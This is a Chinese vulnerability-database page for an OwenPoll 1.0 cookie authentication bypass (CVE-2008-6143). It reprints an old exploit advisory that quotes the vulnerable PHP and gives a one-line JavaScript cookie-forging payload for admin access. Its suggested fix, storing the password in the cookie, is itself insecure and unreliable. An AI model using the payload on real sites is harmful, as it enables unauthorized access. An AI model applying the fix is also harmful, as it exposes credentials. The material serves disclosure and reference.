Owentechkenya Owen Technologies OwenPoll Cookie权限绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117142 漏洞类型 授权问题
发布时间 2008-12-28 更新时间 2009-02-16
CVE编号 CVE-2008-6143 CNNVD-ID CNNVD-200902-340
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7597
https://cxsecurity.com/issue/WLB-2009020186
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-340
|漏洞详情
OwenPoll是一个在线投标脚本。OwenPoll1.0版本允许远程攻击者可以借助用户名cookie中一个修改过的账户名,绕过权限并取得管理访问权。
|漏洞EXP
[START]

####################################################################################################################
[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28]
|参考资料

来源:BID
名称:33032
链接:http://www.securityfocus.com/bid/33032
来源:MILW0RM
名称:7597
链接:http://www.milw0rm.com/exploits/7597